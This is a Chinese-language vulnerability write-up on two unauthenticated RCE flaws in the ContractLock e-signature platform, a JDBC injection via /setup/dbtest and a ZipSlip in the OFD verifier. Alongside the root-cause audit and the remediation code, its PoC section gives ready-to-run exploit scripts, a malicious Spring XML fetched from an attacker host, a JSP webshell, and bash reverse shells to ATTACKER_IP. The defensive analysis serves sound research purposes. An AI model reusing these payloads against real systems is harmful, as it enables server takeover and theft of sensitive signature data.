目录


1. 漏洞背景与影响概述

契约锁(ContractLock)是上海亘岩网络科技有限公司推出的电子签章及印章管控平台,提供数字身份、电子签章、印章管控及数据存证服务,广泛应用于政府、金融、制造等行业的合同签署与印章管理场景。由于涉及高度敏感的法律文书和企业核心数据,其安全性至关重要。

2025年6月至7月,安全研究机构连续披露契约锁电子签章系统存在两个高危远程代码执行(RCE)漏洞:

漏洞编号 漏洞类型 所需权限 影响范围
QVD-2025-23408 未授权JDBC注入 → RCE 无需认证 4.0.* ~ 5.3.*
QVD-2025-27432 ZipSlip路径穿越 → RCE 无需认证 4.0.x ~ 5.3.x

两个漏洞均可被未授权攻击者远程利用,直接导致服务器被完全控制、敏感签章数据泄露、业务系统沦陷。本文将从代码审计角度深入剖析两个漏洞的根因、利用链与防御方案。

影响版本矩阵:

漏洞 QVD-2025-23408 (JDBC注入):
├── 4.0.* <= 契约锁 <= 4.3.7  且 补丁版本 < 1.3.5
└── 4.3.8 <= 契约锁 <= 5.3.*  且 补丁版本 < 2.1.5

漏洞 QVD-2025-27432 (ZipSlip):
├── 4.0.x <= 契约锁 <= 4.3.7  且 补丁版本 < 1.3.8
└── 4.3.8 <= 契约锁 <= 5.3.x  且 补丁版本 < 2.1.8

2. 契约锁系统架构与攻击面

2.1 整体架构

契约锁电子签章系统基于Java/Spring技术栈构建,典型部署架构如下:

┌──────────────────────────────────────────────────────┐
│                    互联网 / 内网客户端                  │
│         (浏览器 / API调用方 / 集成系统)                │
└──────────────────────┬───────────────────────────────┘
                       │ HTTPS
┌──────────────────────▼───────────────────────────────┐
│              契约锁管理控制台 (Spring MVC)              │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────┐  │
│  │ SetupController│ │ PdfVerifier  │  │ 补丁热加载    │  │
│  │ /setup/dbtest │ │ 组件(OFD/PDF) │  │ PatchManager │  │
│  └──────┬─────┘  └──────┬───────┘  └──────┬───────┘  │
│         │               │                 │           │
│  ┌──────▼─────────────▼─────────────────▼─────────┐  │
│  │           Spring Bean 容器 (ApplicationContext)  │  │
│  │    ← 恶意XML可在此加载并实例化任意Bean →          │  │
│  └────────────────────────────────────────────────┘  │
└──────────────────────┬───────────────────────────────┘
                       │
         ┌─────────────┼─────────────┐
         ▼             ▼             ▼
   ┌──────────┐  ┌──────────┐  ┌──────────────┐
   │ 数据库    │  │ 文件存储  │  │ 印章/证书库   │
   │ PG/MySQL │  │ 本地磁盘  │  │ (高敏感)     │
   └──────────┘  └──────────┘  └──────────────┘

2.2 关键攻击面

本次两个漏洞分别命中了系统中的两个高危攻击面:

  1. 安装初始化接口:/setup/dbtest 用于系统初始化阶段测试数据库连接,因设计缺陷未做鉴权,且JDBC连接参数完全可控。
  2. 文件验证组件:PDFVerifier 用于验证OFD/PDF签署文件的有效性,在解压OFD文件时存在ZipSlip路径穿越。

3. QVD-2025-23408:未授权JDBC注入RCE

3.1 漏洞入口:未授权的setup接口

漏洞的入口点是 /setup/dbtest(或 /api/setup/dbtest)接口。该接口用于系统初始化阶段测试数据库连接是否正常。

在 com.qiyuesuo.config.ConsoleConfiguration 配置类中,明确定义了哪些接口不需要鉴权:

// com.qiyuesuo.config.ConsoleConfiguration (简化示意)
@Configuration
public class ConsoleConfiguration extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .antMatchers(
                "/setup/**",          // ← setup接口全部放行,无需认证!
                "/api/setup/**",
                "/login",
                "/static/**"
            )
            .permitAll()
            .anyRequest()
            .authenticated();
        // ...
    }
}

/setup/** 路径被配置为 permitAll(),这意味着 任何人都无需登录即可访问 /setup/dbtest 接口。这一配置的初衷可能是为了在系统首次安装、数据库尚未配置时允许访问初始化向导,但问题在于该接口在生产环境中依然保持可访问状态,且没有额外限制(如仅在未初始化状态时放行)。

3.2 控制器层:参数完全可控

// com.qiyuesuo.setup.SetupController (简化示意)
@Controller
@RequestMapping("/setup")
public class SetupController {

    @Autowired
    private SetupService setupService;

    @PostMapping("/dbtest")
    @ResponseBody
    public Object dbtest(
            @RequestParam String db,        // 数据库类型: POSTGRESQL / MYSQL
            @RequestParam String host,      // 主机地址
            @RequestParam String port,      // 端口
            @RequestParam String username,  // 用户名
            @RequestParam String name       // ← 数据库名,关键注入点!
    ) {
        // 直接将用户输入传入validateDatabase
        return setupService.validateDatabase(db, host, port, username, name);
    }
}

控制器接收 db、host、port、username、name 五个参数,其中 name(数据库名)参数直接拼接到JDBC连接字符串中,且未做任何过滤或校验。

3.3 Service层:JDBC连接字符串拼接

// com.qiyuesuo.setup.SetupService (简化示意)
@Service
public class SetupService {

    @Autowired
    private DatabaseService databaseService;

    public Object validateDatabase(String db, String host, String port,
                                   String username, String name) {
        // 调用dbset建立数据库连接
        DatabaseConfig config = new DatabaseConfig(db, host, port, username, name);
        return dbtest(config);
    }

    public Object dbtest(DatabaseConfig config) {
        // 获取数据库连接 — 这里触发JDBC连接
        Connection conn = databaseService.getConnection(config);
        if (conn != null && conn.isValid(5)) {
            return success("数据库连接成功");
        }
        return fail("数据库连接失败");
    }
}
// com.qiyuesuo.setup.DatabaseService (简化示意)
@Service
public class DatabaseService {

    public Connection getConnection(DatabaseConfig config) {
        String url;
        switch (config.getDb()) {
            case "POSTGRESQL":
                // 关键漏洞点: name参数直接拼接进JDBC URL
                url = "jdbc:postgresql://" + config.getHost() + ":" + config.getPort()
                    + "/" + config.getName();  // ← name无任何过滤!
                break;
            case "MYSQL":
                url = "jdbc:mysql://" + config.getHost() + ":" + config.getPort()
                    + "/" + config.getName();
                break;
            default:
                throw new IllegalArgumentException("Unsupported db type");
        }
        // Class.forName + DriverManager.getConnection 触发JDBC连接
        return DriverManager.getConnection(url, config.getUsername(), config.getPassword());
    }
}

config.getName() 的值被直接拼接进JDBC URL,没有任何字符过滤、白名单校验或参数化处理。这就是JDBC注入的根本原因。

3.4 数据流与注入点

用户请求:
  name = "test?socketFactory=org.springframework...ClassPathXmlApplicationContext&socketFactoryArg=http://evil/1.xml"

拼接后的JDBC URL:
  jdbc:postgresql://localhost:5321/
    test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
        &socketFactoryArg=http://evil/1.xml
         │                              │
         │  ← JDBC连接参数注入             │  ← 指向攻击者控制的恶意XML
         │  PostgreSQL JDBC驱动支持       │
         │  socketFactory参数指定自定义     │
         │  SocketFactory实现类            │
         └──────────────────────────────┘

PostgreSQL JDBC驱动支持通过URL参数 socketFactory 指定自定义的Socket工厂类。当驱动尝试建立连接时,会实例化 socketFactory 指定的类。攻击者将其指向 org.springframework.context.support.ClassPathXmlApplicationContext,并通过 socketFactoryArg 传入一个远程恶意Spring XML的URL,从而触发Spring Bean的加载和实例化——即任意代码执行。


4. JDBC注入到RCE的完整攻击链剖析

4.1 攻击链全景

攻击者                          契约锁服务器                    攻击者VPS
  │                                │                            │
  │ 1.POST /setup/dbtest           │                            │
  │  name=test?socketFactory=...   │                            │
  │ ─────────────────────────────> │                            │
  │                                │ 2.DriverManager            │
  │                                │   .getConnection(url)      │
  │                                │   解析socketFactory参数     │
  │                                │                            │
  │                                │ 3.实例化ClassPathXml─────> │ 4.返回恶意
  │                                │   ApplicationContext       │   Spring XML
  │                                │   加载远程XML               │ <──────────
  │                                │                            │
  │                                │ 5.解析XML中的Bean定义        │
  │                                │   <bean class="ProcessBuilder"│
  │                                │    init-method="start">    │
  │                                │                            │
  │                                │ 6.ProcessBuilder.start()   │
  │                                │   执行系统命令!              │
  │                                │   (calc / reverse shell)   │
  │ <────────── 7.命令执行结果 ────│                            │
  │                                │                            │

4.2 为什么ClassPathXmlApplicationContext能RCE

ClassPathXmlApplicationContext 是Spring Framework的核心类,其构造函数接收一个XML资源URL,会解析该XML并实例化其中定义的所有Bean。关键在于Spring XML支持通过 init-method 属性指定Bean实例化后自动调用的方法。

当攻击者构造如下XML时:

<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>cmd</value>
            <value>/c</value>
            <value>calc</value>
        </list>
    </constructor-arg>
</bean>

Spring容器会:

  1. 实例化 java.lang.ProcessBuilder,传入 ["cmd", "/c", "calc"] 作为构造参数
  2. 因为指定了 init-method="start",自动调用 ProcessBuilder.start() 方法
  3. start() 方法执行命令 cmd /c calc

这是一个经典的Spring4Shell风格的利用手法——利用Spring Bean的生命周期回调机制(init-method)实现无显式方法调用的命令执行。

4.3 不同数据库驱动的利用差异

数据库类型 JDBC驱动 可利用参数 触发类
PostgreSQL postgresql.jar socketFactory / socketFactoryArg ClassPathXmlApplicationContext
MySQL mysql-connector-java socketFactory / connectionAttributes ClassPathXmlApplicationContext / JDBC反序列化
H2 h2.jar init / runscript RUNSCRIPT执行SQL

PostgreSQL和MySQL驱动都支持 socketFactory 参数,因此两个数据库类型均可利用。MySQL驱动还可能存在基于 autoDeserialize=true 的JDBC反序列化攻击路径。


5. QVD-2025-27432:ZipSlip路径穿越RCE

5.1 漏洞组件:PDFVerifier

QVD-2025-27432 漏洞位于契约锁的 PDFVerifier 组件中。该组件负责验证用户上传的OFD(Open Fixed-layout Document,开放版式文档)和PDF签署文件的有效性。

OFD格式本质上是一个ZIP压缩包,内部包含XML描述文件和签名信息。验证OFD文件时需要先解压,这引入了ZipSlip路径穿越风险。

5.2 漏洞代码审计

// com.qiyuesuo.pdfverifier.OfdVerifyHandler (简化示意)
public class OfdVerifyHandler {

    public OfdVerifyResponse verify(byte[] pdfBytes) {
        // 1. 判断是否为OFD格式
        if (!isOfd(pdfBytes)) {
            return OfdVerifyResponse.error("非OFD文件");
        }
        // 2. 验证签名信息
        // ...
    }

    private boolean isOfd(byte[] fileBytes) {
        try {
            // 关键漏洞点: 先解压,再检查文件名是否包含"OFD"标识
            List<ZipEntry> entries = unzip(fileBytes);  // ← 解压时未校验路径!

            // 检查解压后的文件名是否包含 OFD 主文件标识
            for (ZipEntry entry : entries) {
                String filename = entry.getName();
                // 漏洞: 此检查在解压之后执行,文件已被写入磁盘!
                if (filename.contains(OfdStrucUtils.OFD_MAIN_FILE)) {
                    return true;
                }
            }
            return false;
        } catch (Exception e) {
            return false;
        }
    }

    private List<ZipEntry> unzip(byte[] fileBytes) throws IOException {
        List<ZipEntry> entries = new ArrayList<>();
        ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(fileBytes));
        ZipEntry entry;
        // 漏洞根因: 直接使用entry.getName()拼接路径,未做穿越检查
        while ((entry = zis.getNextEntry()) != null) {
            String outputPath = destDir + File.separator + entry.getName();
            // entry.getName() 可能是 "../../../webapps/root/shell.jsp"
            // 直接拼接导致路径穿越,文件被写到目标目录之外!
            Files.copy(zis, Paths.get(outputPath));
            entries.add(entry);
        }
        return entries;
    }
}

5.3 ZipSlip原理图解

ZipSlip是一种经典的路径穿越漏洞。ZIP格式允许压缩包内的条目名称包含 ../ 路径遍历序列。当解压代码直接将条目名称拼接到目标目录时,攻击者可以将文件写到任意位置。

正常OFD文件解压:                    恶意OFD(ZipSlip)解压:
┌──────────────────────┐          ┌──────────────────────────────────┐
│ OFD压缩包内容:        │          │ 恶意OFD压缩包内容:                │
│  ├── Doc_0/OFD.xml   │          │  ├── Doc_0/OFD.xml (诱饵)         │
│  ├── Doc_0/Signs/... │          │  ├── ../../webapps/root/shell.jsp │
│  └── ...             │          │  │   ↑ 路径穿越!                   │
└──────────────────────┘          │  └── ../../patch/malicious.jar    │
         │                        └──────────────────────────────────┘
         ▼                                   │
解压目标: /tmp/ofd_verify/                          ▼
┌──────────────────────┐          解压目标: /tmp/ofd_verify/
│ /tmp/ofd_verify/      │          但实际写入:
│   ├── Doc_0/OFD.xml   │          ┌──────────────────────────────────┐
│   └── ...             │          │ /app/webapps/root/shell.jsp      │ ← 逃逸!
└──────────────────────┘          │   (穿越到Web根目录,可访问的JSP)   │
                                  │ /app/patch/malicious.jar          │ ← 逃逸!
                                  │   (穿越到补丁目录,被热加载)        │
                                  └──────────────────────────────────┘

5.4 漏洞根因:检查顺序错误

漏洞的关键在于解压操作与有效性检查的顺序错误:

漏洞代码执行顺序:
  Step 1: unzip(fileBytes)         ← 先解压,文件已写入磁盘
  Step 2: 检查文件名.contains("OFD")  ← 后检查,但文件已落地

正确做法应为:
  Step 1: 遍历ZipEntry,检查每个entry.getName()是否包含"../"
  Step 2: 仅在确认无穿越后才执行解压写入

即使 isOfd() 方法最终返回 false(因为恶意压缩包中只有穿越路径的文件,不包含合法的OFD标识文件),恶意文件也已经在Step 1的解压过程中被写入了磁盘。攻击者利用这一时序差,实现了"验证未通过但文件已落地"的效果。


6. 从ZipSlip到RCE:热加载补丁机制滥用

6.1 补丁热加载机制

契约锁系统具备一套安全补丁热加载机制(PatchManager),允许在不重启服务的情况下动态加载补丁包(通常是JAR文件或类文件)。这一机制的设计初衷是为了快速修复安全问题,但讽刺的是,它本身成为了RCE的最后一环。

热加载补丁流程:
┌─────────────────────────────────────────────────────────┐
│  1. 补丁文件放入指定目录 (如 /app/patch/ 或热加载目录)     │
│  2. PatchManager监听目录变化 (WatchService / 定时扫描)    │
│  3. 检测到新补丁文件                                       │
│  4. 加载补丁JAR到ClassLoader                              │
│  5. 实例化补丁中的Bean / 替换已有类                         │
│  6. 补丁生效                                               │
└─────────────────────────────────────────────────────────┘

6.2 攻击链组合

攻击者将ZipSlip路径穿越与热加载机制结合,形成完整的RCE链:

Step 1: 构造恶意OFD文件 (ZIP格式)
        内含路径穿越条目: ../../patch/malicious.jar
        (malicious.jar中包含恶意Spring Bean或恶意类)

Step 2: 上传到PDFVerifier验证接口
        POST /api/pdfverifier/verify (或类似接口)

Step 3: ZipSlip触发
        unzip()将malicious.jar写入 /app/patch/malicious.jar
        (穿越出临时目录,到达补丁热加载目录)

Step 4: 热加载触发
        PatchManager检测到新文件
        加载malicious.jar到ClassPath
        实例化其中的恶意Bean

Step 5: RCE达成
        恶意Bean的构造函数或init-method执行任意命令
攻击链时序图:

攻击者               PDFVerifier          文件系统           PatchManager
  │                      │                   │                   │
  │ 上传恶意OFD           │                   │                   │
  │─────────────────────>│                   │                   │
  │                      │ unzip()           │                   │
  │                      │──────────────────>│                   │
  │                      │ 写入恶意JAR到     │                   │
  │                      │ /app/patch/       │                   │
  │                      │                   │ 目录变化通知       │
  │                      │                   │──────────────────>│
  │                      │                   │                   │ 加载JAR
  │                      │                   │                   │ 实例化Bean
  │                      │                   │                   │ 执行命令
  │ <─────── RCE ────────────────────────────────────────────────│

6.3 另一种RCE路径:覆盖已有类文件

除热加载补丁外,攻击者还可以通过ZipSlip覆盖Web应用目录中已有的JSP文件或类文件:

穿越路径: ../../webapps/ROOT/evil.jsp
写入内容: JSP Webshell

效果: 攻击者直接访问 /evil.jsp 即可执行Webshell命令

这种路径不依赖热加载机制,利用更为直接,但需要知道Web应用的部署路径。


7. 完整利用PoC

7.1 QVD-2025-23408:JDBC注入RCE PoC

步骤1:在攻击者VPS上准备恶意Spring XML文件

<!-- 1.xml — 恶意Spring Bean配置,放至攻击者VPS的Web目录 -->
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 利用ProcessBuilder + init-method执行命令 -->
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value>calc</value>
                <!-- Linux替换为: <value>bash</value> <value>-c</value> <value>bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</value> -->
            </list>
        </constructor-arg>
    </bean>
</beans>

攻击者在VPS上启动HTTP服务托管该XML文件:

# 攻击者VPS上
python3 -m http.server 8099
# 此时 http://ATTACKER_IP:8099/1.xml 可访问

步骤2:发送JDBC注入请求(PostgreSQL)

POST /setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2FATTACKER_IP%3A8099%2F1%2Exml HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

URL解码后的 name 参数值为:

test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ATTACKER_IP:8099/1.xml

步骤3:MySQL数据库的利用Payload

POST /setup/dbtest?db=MYSQL&host=localhost&port=3306&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2FATTACKER_IP%3A8099%2F1%2Exml HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

注意:是否存在 /api/ 前缀路径需根据实际部署情况判断。若存在API网关前缀,Payload中的URL需添加 /api/ 前缀。

自动化利用脚本(Python):

#!/usr/bin/env python3
# contractlock_jdbc_rce.py — QVD-2025-23408 PoC
import requests
import sys
import urllib.parse

def exploit(target_url, listener_url, db_type="POSTGRESQL"):
    """
    target_url: 契约锁目标地址, 如 http://target.example.com
    listener_url: 攻击者VPS托管的恶意XML地址, 如 http://1.2.3.4:8099/1.xml
    db_type: POSTGRESQL 或 MYSQL
    """
    # 构造注入的name参数
    injection = (
        f"test?socketFactory="
        f"org.springframework.context.support.ClassPathXmlApplicationContext"
        f"&socketFactoryArg={listener_url}"
    )
    # URL编码
    encoded_name = urllib.parse.quote(injection, safe='')

    # 尝试两种路径 (有/无 /api 前缀)
    paths = ["/setup/dbtest", "/api/setup/dbtest"]

    for path in paths:
        url = (
            f"{target_url}{path}"
            f"?db={db_type}"
            f"&host=localhost"
            f"&port={'5321' if db_type == 'POSTGRESQL' else '3306'}"
            f"&username=root"
            f"&name={encoded_name}"
        )
        print(f"[*] 尝试: {url}")
        try:
            resp = requests.post(url, timeout=10)
            print(f"    状态码: {resp.status_code}")
            print(f"    响应: {resp.text[:200]}")
            if resp.status_code == 200:
                print("[+] 请求已发送,检查VPS是否收到XML加载请求")
                return True
        except Exception as e:
            print(f"    错误: {e}")
    return False

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "http://target.example.com"
    listener = sys.argv[2] if len(sys.argv) > 2 else "http://ATTACKER_IP:8099/1.xml"
    exploit(target, listener)

7.2 QVD-2025-27432:ZipSlip RCE PoC

步骤1:构造含路径穿越条目的恶意OFD(ZIP)文件

#!/usr/bin/env python3
# craft_zipslip_ofd.py — 构造ZipSlip恶意OFD文件
import zipfile
import io
import sys

def create_malicious_ofd(output_path, traversal_target, payload_content):
    """
    output_path: 输出的OFD文件路径
    traversal_target: 穿越目标相对路径, 如 "../../patch/malicious.jar"
    payload_content: 写入的恶意内容(bytes)
    """
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        # 1. 添加一个合法OFD标识文件,使isOfd检查通过(可选)
        zf.writestr("Doc_0/OFD.xml", b'<?xml version="1.0"?><ofd:OFD xmlns:ofd="http://www.ofdspec.org/2016"></ofd:OFD>')

        # 2. 关键: 添加路径穿越条目
        # 使用../穿越到解压目录之外
        zf.writestr(traversal_target, payload_content)

    with open(output_path, 'wb') as f:
        f.write(buf.getvalue())
    print(f"[+] 恶意OFD文件已生成: {output_path}")
    print(f"    穿越目标: {traversal_target}")

# 示例1: 写入JSP Webshell
jsp_webshell = b'<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd"); Process p=Runtime.getRuntime().exec(cmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while((l=br.readLine())!=null) out.println(l); %>'
create_malicious_ofd("evil_ofd_webshell.ofd",
                     "../../webapps/ROOT/shell.jsp",
                     jsp_webshell)

# 示例2: 写入恶意补丁JAR (需预先打包)
# create_malicious_ofd("evil_ofd_patch.ofd",
#                      "../../patch/evil.jar",
#                      malicious_jar_bytes)

步骤2:上传恶意OFD文件到验证接口

#!/usr/bin/env python3
# contractlock_zipslip_rce.py — QVD-2025-27432 PoC
import requests
import sys

def upload_malicious_ofd(target_url, ofd_file_path):
    """
    上传恶意OFD文件触发ZipSlip
    """
    # PDFVerifier验证接口 (具体路径需根据实际版本确认)
    verify_paths = [
        "/api/pdfverifier/verify",
        "/pdfverifier/verify",
        "/api/file/verify",
    ]

    with open(ofd_file_path, 'rb') as f:
        file_data = f.read()

    for path in verify_paths:
        url = f"{target_url}{path}"
        print(f"[*] 尝试上传到: {url}")
        files = {'file': ('test.ofd', file_data, 'application/octet-stream')}
        try:
            resp = requests.post(url, files=files, timeout=15)
            print(f"    状态码: {resp.status_code}")
            print(f"    响应: {resp.text[:200]}")
            # 即使返回验证失败,文件可能已被写入
            print("[*] 注意: 即使返回验证失败,ZipSlip文件可能已写入磁盘")
        except Exception as e:
            print(f"    错误: {e}")

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "http://target.example.com"
    ofd_file = sys.argv[2] if len(sys.argv) > 2 else "evil_ofd_webshell.ofd"
    upload_malicious_ofd(target, ofd_file)

步骤3:访问写入的Webshell(若使用JSP路径)

GET /shell.jsp?cmd=id HTTP/1.1
Host: target.example.com

7.3 恶意补丁JAR构造(用于热加载RCE路径)

若目标通过热加载机制实现RCE,需构造一个包含恶意Spring Bean的JAR:

// EvilPatch.java — 打包进恶意补丁JAR
public class EvilPatch {
    static {
        // 类加载时执行的静态代码块
        try {
            String[] cmd = {"/bin/bash", "-c",
                "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
# 编译并打包
javac EvilPatch.java
jar cvf malicious.jar EvilPatch.class

# 然后用ZipSlip将malicious.jar写入补丁热加载目录
python3 craft_zipslip_ofd.py
# 穿越目标设为 ../../patch/malicious.jar

当PatchManager加载该JAR并初始化类时,static 代码块自动执行,实现RCE。


8. 根因总结与攻击面对比

8.1 两个漏洞的根因对比

维度 QVD-2025-23408 (JDBC注入) QVD-2025-27432 (ZipSlip)
漏洞类型 注入(CWE-89变体/CWE-74) 路径穿越(CWE-22)
根因 JDBC连接参数未过滤直接拼接 ZIP解压未校验条目路径
入口接口 /setup/dbtest(未授权) PDFVerifier验证接口
认证要求 无需认证(permitAll配置缺陷) 无需认证(验证接口公开)
RCE达成方式 Spring ClassPathXmlApplicationContext加载恶意XML 覆盖补丁文件触发热加载 / 写入Webshell
设计缺陷 初始化接口在生产环境仍可访问 验证逻辑先解压后检查
修复方式 接口鉴权 + 参数白名单 + 补丁升级 路径规范化校验 + 补丁签名验证

8.2 共同的安全设计缺陷

两个漏洞虽然技术细节不同,但反映出共同的安全设计问题:

  1. 初始化接口长期暴露:setup类接口在系统初始化完成后应被禁用或加锁,但契约锁未实施这一生命周期管理。

  2. 缺乏纵深防御:单一缺陷即可导致RCE,没有在多个层级(网络层、应用层、文件系统层)设置互相独立的防护。

  3. 补丁机制自身成为攻击面:热加载补丁机制虽方便运维,但缺少签名验证,反而成为攻击者写入持久化后门的渠道。

  4. 输入信任边界模糊:无论是JDBC参数还是ZIP条目名,系统都将其视为可信输入直接使用,未在信任边界处做净化。


9. 防御方案

9.1 接口鉴权强化

// 修复方案1: 初始化完成后禁用setup接口
@Configuration
public class ConsoleConfiguration extends WebSecurityConfigurerAdapter {

    @Autowired
    private SystemInitService initService;

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .antMatchers("/setup/**").access(
                "@initService.isSystemUninitialized()"  // 仅未初始化时放行
            )
            .anyRequest().authenticated();
    }
}

@Service
public class SystemInitService {
    public boolean isSystemUninitialized() {
        // 检查系统是否已完成初始化配置
        return !configRepository.isInitialized();
    }
}

9.2 JDBC参数白名单校验

// 修复方案2: 对数据库连接参数实施严格白名单
public class DatabaseService {

    // 仅允许字母、数字、下划线作为数据库名
    private static final Pattern DB_NAME_PATTERN =
        Pattern.compile("^[a-zA-Z0-9_]{1,64}$");

    public Connection getConnection(DatabaseConfig config) {
        // 白名单校验
        if (!DB_NAME_PATTERN.matcher(config.getName()).matches()) {
            throw new SecurityException("非法的数据库名: " + config.getName());
        }
        // 校验host和port
        validateHost(config.getHost());
        validatePort(config.getPort());

        // 使用参数化方式构建连接,禁止拼接
        String url = String.format("jdbc:postgresql://%s:%d/%s",
            config.getHost(),
            Integer.parseInt(config.getPort()),
            config.getName());
        // 不允许传入任何额外JDBC参数
        return DriverManager.getConnection(url, config.getUsername(),
                                           config.getPassword());
    }
}

9.3 ZipSlip防护:路径规范化校验

// 修复方案3: 解压前校验每个条目的路径
public class SafeUnzip {

    public void unzipSafely(byte[] fileBytes, Path destDir) throws IOException {
        Path canonicalDest = destDir.toAbsolutePath().normalize();

        try (ZipInputStream zis = new ZipInputStream(
                new ByteArrayInputStream(fileBytes))) {
            ZipEntry entry;
            while ((entry = zis.getNextEntry()) != null) {
                Path outputPath = canonicalDest.resolve(entry.getName())
                                              .normalize();

                // 关键校验: 解析后的路径必须仍在目标目录内
                if (!outputPath.startsWith(canonicalDest)) {
                    throw new SecurityException(
                        "检测到ZipSlip路径穿越: " + entry.getName());
                }

                // 额外检查: 禁止绝对路径和盘符(Windows)
                if (entry.getName().contains("..") ||
                    entry.getName().startsWith("/") ||
                    entry.getName().matches("^[A-Za-z]:.*")) {
                    throw new SecurityException(
                        "非法的压缩条目路径: " + entry.getName());
                }

                if (entry.isDirectory()) {
                    Files.createDirectories(outputPath);
                } else {
                    Files.copy(zis, outputPath,
                        StandardCopyOption.REPLACE_EXISTING);
                }
            }
        }
    }
}

9.4 补丁签名验证

// 修复方案4: 热加载补丁必须通过签名验证
public class PatchManager {

    public void loadPatch(Path patchFile) throws Exception {
        // 1. 验证数字签名
        if (!verifySignature(patchFile)) {
            throw new SecurityException("补丁签名验证失败,拒绝加载: "
                + patchFile);
        }

        // 2. 验证补丁来源
        PatchManifest manifest = readManifest(patchFile);
        if (!isTrustedPublisher(manifest.getPublisher())) {
            throw new SecurityException("不可信的补丁发布者");
        }

        // 3. 验证补丁完整性 (哈希校验)
        if (!verifyIntegrity(patchFile, manifest.getExpectedHash())) {
            throw new SecurityException("补丁完整性校验失败");
        }

        // 4. 验证通过后才加载
        ClassLoader loader = new URLClassLoader(
            new URL[]{patchFile.toUri().toURL()});
        // ... 加载逻辑
    }

    private boolean verifySignature(Path file) throws Exception {
        // 使用厂商私钥签名,公钥验证
        // 使用JAR签名机制 (jarsigner) 或自定义RSA签名
        return JarSignerUtil.verify(file);
    }
}

9.5 纵深防御清单

┌─────────────────────────────────────────────────────────────┐
│                    纵深防御架构                               │
├─────────────────────────────────────────────────────────────┤
│  网络层:                                                     │
│    □ 管理控制台不暴露在公网,仅内网/VPN可访问                  │
│    □ WAF规则拦截setup/dbtest等敏感路径的外部访问              │
│    □ 出站流量限制 (阻止服务器主动连接外部加载XML)             │
├─────────────────────────────────────────────────────────────┤
│  应用层:                                                     │
│    □ 初始化接口生命周期管理 (初始化后禁用)                    │
│    □ 所有数据库参数白名单校验                                 │
│    □ 所有文件上传/解压路径穿越校验                            │
│    □ 补丁热加载强制签名验证                                   │
├─────────────────────────────────────────────────────────────┤
│  运行时:                                                     │
│    □ JVM Security Manager / 模块化限制 (限制类加载)          │
│    □ 文件系统权限最小化 (应用进程仅能写指定目录)              │
│    □ 出站连接白名单 (JDBC仅允许连接指定数据库地址)            │
├─────────────────────────────────────────────────────────────┤
│  监控层:                                                     │
│    □ setup接口访问告警 (生产环境访问即告警)                   │
│    □ 补丁目录文件变化监控与告警                               │
│    □ 异常出站连接检测 (ClassPathXmlApplicationContext加载)   │
└─────────────────────────────────────────────────────────────┘

9.6 补丁升级

官方已发布安全补丁,受影响用户应尽快升级:


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。